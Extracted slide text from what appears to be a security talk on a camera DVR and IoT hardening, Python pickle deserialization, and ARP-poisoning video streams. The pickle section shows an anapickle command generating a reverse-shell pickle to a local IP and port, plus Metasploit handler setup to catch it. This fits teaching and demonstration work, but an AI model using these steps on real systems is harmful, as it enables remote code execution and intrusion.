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Security Camera DVR
• Background

• Why update it?

• IoT

• Mirai Botnet

• How to protect it
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Security Camera DVR
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Security Camera DVR

• tcpdump -i dc0 src host 192.168.X.Y

• tcpdump -i dc0 src host 192.168.X.Y -w 
cameras.pcap

TCPDUMP
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Security Camera DVR

http://dha.flirservices.com
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Security Camera DVR
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Security Camera DVR
• How best to protect this and other IoT 

devices

• Don’t expose them to the Internet

• Remove default route

• Other ways?
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Poison Pickle
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Poison Pickle
• Python method to convert an object to 

a byte stream 
(serialization/deserialization)

• pickle.dump(obj, [file])

• pickle.load(file)
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Poison Pickle
• Create a pickle file

# Save a dictionary into a pickle file.

import pickle

favorite_color = { "apple": "space grey", "lion": "yellow", 
"kitty": "red" }

pickle.dump( favorite_color, open( "colors.p", "wb" ) )

(dp0

S'lion'

p1

S'yellow'

p2

sS'kitty'

p3

S'red'

p4

sS'apple'

p5

S'space grey'

p6
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Poison Pickle
• Read the pickle file

# Load the dictionary back from the pickle file.

import pickle

favorite_color = pickle.load( open( "colors.p", "rb" ) )

print favorite_color

$ python color_load.py

{'lion': 'yellow', 'kitty': 'red', 'apple': 'space grey'}
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Malicious Pickle Time
• Anapickle

• https://github.com/sensepost/anapickle

• Flags

• -p: list available shell code

• -g: generate pickle with shell code
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Malicious Pickle Time
#>python ./anapickle.py 

-g gen_reverseshell_tcp
“HOST=‘192.168.1.2’” 
“PORT=6666” > bad_pickle.p

You will need to edit the result 
pickle file to remove the comments 
generated by anapickle
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Metasploit Setup
• On the target Kali box, setup metasploit
• Use the exploit/multi/handler
• Set the PAYLOAD to 

python/shell_reverse_tcp
• Set LHOST to Kali’s IP
• Set LPORT to what was set in the pickle 

file

• DEMO
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Streaming Video 
Manipulation
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Streaming Video
Containe

r
(mp2ts,
mp4) Video (h264, h262)

Audio (mp3, aac)

Data (closed captioning)
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Streaming Video

Ground 
Station
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Streaming Video
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Streaming Video
X

arp poisonarp poison

MITM
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Streaming Video
X

arp poisonarp poison

MITM
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Streaming Video
• Tools Used

• ffmpeg
• wireshark
• python
• scapy
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Questions?


